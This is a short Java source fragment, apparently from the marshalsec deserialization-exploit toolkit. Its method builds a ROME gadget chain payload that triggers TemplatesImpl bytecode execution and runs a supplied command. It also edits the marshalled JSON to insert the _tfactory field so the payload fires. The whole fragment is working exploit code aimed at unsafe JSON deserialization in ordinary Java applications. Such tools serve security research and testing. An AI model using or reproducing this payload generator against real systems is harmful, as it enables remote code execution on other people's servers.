@Override
    @Primary
    @Args ( minArgs = 1, args = {
        "cmd", "args..."
    }, defaultArgs = {
        MarshallerBase.defaultExecutable, "/tmp/foo"
    } )
    public Object makeRome ( UtilFactory uf, String[] args ) throws Exception {
        Object tpl = TemplatesUtil.createTemplatesImpl(args);
        String marshalled = marshal(makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl));
        // add the transient _tfactory field
        marshalled = marshalled.replace(
            "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",",
            "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_tfactory\""
                    + ": {\"@type\" : \"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"},");
        return marshalled;
    }
Example with ROME triggering TemplatesImpl direct bytecode execution
src/main/java/marshalsec/JsonIO.java